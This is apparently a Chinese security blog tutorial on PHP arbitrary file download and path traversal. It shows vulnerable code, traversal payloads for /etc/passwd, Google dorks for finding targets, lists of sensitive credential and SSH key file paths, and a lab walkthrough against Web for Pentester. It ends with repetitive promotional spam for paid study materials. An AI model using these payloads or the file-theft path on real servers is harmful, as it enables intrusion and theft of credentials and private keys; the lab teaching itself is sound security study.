赞
踩
$file = $\_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, filesize($file)); // 读取文件内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容
fread() 函数:
$file = $\_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, 1024); // 读取文件前 1024 字节的内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容
include() 函数:
$file = $\_GET['file']; // 用户提供的文件路径
include($file); // 包含文件并输出内容
readfile() 函数:
$file = $\_GET['file']; // 用户提供的文件路径
readfile($file); // 读取并输出文件内容
file_get_contents() 函数:
$file = $\_GET['file']; // 用户提供的文件路径
$data = file\_get\_contents($file); // 读取文件内容
echo $data; // 输出文件内容
file() 函数:
$file = $\_GET['file']; // 用户提供的文件路径
$data = file($file); // 将文件读入数组中
echo implode('', $data); // 输出文件内容
index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
当参数 f 的参数值为php文件时,
若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞。
当遇到一个任意文件下载时,我们的一般利用思路:
当遇到一个任意文件下载漏洞时首先要注意权限问题。因为权限决定我们能下载的文件范围。
尝试读取 /root/.bash_history
看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../
来回跳转读取一些.ssh
下的配置信息文件。
读取mysql下的.bash_history
文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如果遇到 java+oracle 环境
可以先下载 /WEB-INF/classes/applicationContext.xml
文件,这里面记载的是web服务器的相应配置,然后下载
/WEB-INF/classes/xxx/xxx/ccc.class
对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话可以本地构造上传页面用api接口将我们的文件传输进服务器。
如果具有root权限
这时候很多人肯定会说:有root权限直接去读shadow文件了,但是很多时候我们遇到的服务器可能只对外开放了80,443两个端口,这时候我们即使获得了账号密码作用也不大,但是具备root权限对任意文件下载利用是绝对的。
在linux中有这样一个命令 locate
是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库 /var/lib/mlocate/mlocate.db
。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。
当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞将mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。
locate 读取方法
locate mlocate.db admin
可以将 mlocate.db 中包含admin内容全部输出来
利用这个文件可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录,但是这个文件只有root用户才能读取。
另一方面我们也可以利用linux内核的一个文件/proc/self/cmdline
当前进程的cmdline参数,可以获取到路径信息。
总体来说,任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。
可以用Google hacking或Web漏洞扫描器
Google search利用:
inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
Windows系统:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux/Unix系统:
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized\_keys文件,并将id\_rsa.pub内容复制进去 /root/.ssh/id_rsa //ssh私钥,ssh公钥是id\_rsa.pub /root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥 /root/.ssh/known_hosts //ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known\_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。 /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /etc/my.cnf //mysql 配置文件 /etc/httpd/conf/httpd.conf // Apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/self/fd/fd[0-9]\*(文件标识符) /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数
使用 web for pentester 进行测试。镜像下载 VMware安装镜像文件启动即可使用。
查看ip地址:
访问IP 进入环境
用 Directory traversal 模块复现(是的就是目录遍历,一般的文件下载或读取都会用到 ../
)。
源码:
$UploadDir = '/var/www/files/'; if (!(isset($\_GET['file']))) die(); $file = $\_GET['file']; $path = $UploadDir . $file; if (!is\_file($path)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($path)); $handle = fopen($path, 'rb'); do { $data = fread($handle, 8192); if (strlen($data) == 0) { break; } echo($data); } while (true); fclose($handle); exit();
有 fread 函数,可以看出未作限制,直接使用../
跳跃目录来读取 passwd 文件:
http://192.168.50.132/dirtrav/example1.php?file=../../../etc/passwd
源码:
if (!(isset($\_GET['file']))) die(); $file = $\_GET['file']; if (!(strstr($file,"/var/www/files/"))) die(); if (!is\_file($file)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($file) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); $handle = fopen($file, 'rb'); do { $data = fread($handle, 8192); if (strlen($data) == 0) { break; } echo($data); } while (true); fclose($handle); exit();
从代码里可以看出,路径必须存在 /var/www/files/ ,构造如下payload:
http://192.168.50.132/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd
源码:
$UploadDir = '/var/www/files/'; if (!(isset($\_GET['file']))) die(); $file = $\_GET['file']; $path = $UploadDir . $file.".png"; // Simulate null-byte issue that used to be in filesystem related functions in PHP $path = preg\_replace('/\x00.\*/',"",$path); if (!is\_file($path)) die(); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Cache-Control: public'); header('Content-Disposition: inline; filename="' . basename($path) . '";'); header('Content-Transfer-Encoding: binary'); **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。** **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**       **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!** **由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新** **如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**  ### 给大家的福利 **零基础入门** 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。  同时每个成长路线对应的板块都有配套的视频提供:  因篇幅有限,仅展示部分资料 网络安全面试题  绿盟护网行动  还有大家最喜欢的黑客技术  **网络安全源码合集+工具包**   **所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~ **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**  **网络安全源码合集+工具包**   **所有资料共282G**,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~ **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!** [外链图片转存中...(img-t7Ycfb2b-1712887971748)]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。